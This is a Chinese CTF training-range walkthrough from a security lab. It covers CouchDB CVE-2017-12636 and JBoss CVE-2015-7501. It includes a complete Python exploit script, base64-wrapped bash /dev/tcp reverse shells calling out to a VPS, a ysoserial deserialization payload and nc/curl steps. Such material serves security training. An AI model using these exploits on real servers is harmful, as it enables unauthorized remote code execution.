首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【揭秘二】练武靶场

【揭秘二】练武靶场

作者头像
Ms08067安全实验室
发布2024-12-19 15:11:57
发布2024-12-19 15:11:57
7800
代码可运行
举报
运行总次数:0
代码可运行

Taoing

“Ms08067专注网络安全技能培训 | 竞赛!“

号外号外,"Ms08067练武场" 最强劲的第二批选手打靶思路来啦。

官网链接:http://attck.ms08067.com/

一、couchdb 1.简介: Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式, JavaScript作为查询语言, MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台, Credit Suisse用在其内部的商品部门的市场框架, Meebo,用在 其社交平台(web和应用程序)。

在2017年11月15日, CVE-2017-12635和CVE-2017-12636披露, CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server ,这个配置项在设计、执行view的时 候将被运行。

2.影响版本 小于 1.7.0 以及小于 2.1.1

3.访问 访问http://27.25.151.24:24461/_utils/即可看到版本为1.6.0的 利用exp脚本:

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python3 import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://xx.xx.xx.xx:xx'
command = rb"""sh -i >& /dev/tcp/vpsip/9002 0>&1""" version = 1
session = requests.session() session.headers = {
'Content-Type': 'application/json' }
#session.proxies = {
#      'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user",
"name": "wooyun",
"roles": ["_admin"], "roles": [],
"password": "wooyun" }''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s} |{base64,-d} |{bash,-i}'" %
base64.b64encode(command).decode() if version == 1:
代码语言:javascript
代码运行次数:0
运行
复制
session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command)) else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

将target和command中换成题目需要以及自己的vps信息,用python3执行即可拿到shell,查看环境变 量即可拿到flag。

二、CVE-2015-7501 漏洞: JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

步骤: 发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或者burpsuit对/invoker/JMXInvokerServlet发送ser文件→获得反弹shell

1.发现漏洞指纹 访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载

2.反弹shell编码 利用base64编码网站将vps的地址和端口进行编码,bash -i >& /dev/tcp/vps地址/端口 0>&1 https://www.toolhelper.cn/EncodeDecode/Base64

bash -c {echo,base64编码后的(bash -i >& /dev/tcp/vps地址/端口 0>&1) }|{base64,-d}|{bash,-i}

3.用ysoserial把编码好的反弹shell生ser文件 ysoserial包下载地址 https://github.com/frohoff/ysoserial

利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件

java-jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbi1mei1keC5zYWt1cmFmcnAuY29tLzI4ODQ0IDA+JjE=}|{base64,-d}|{bash,-i}">aufeng.ser

4.vps启动监听 Nc -lvvp 8888(端口和上面一致)

5.用curl发送ser文件 curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @aufeng.ser

6.获得反弹shell并查看flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档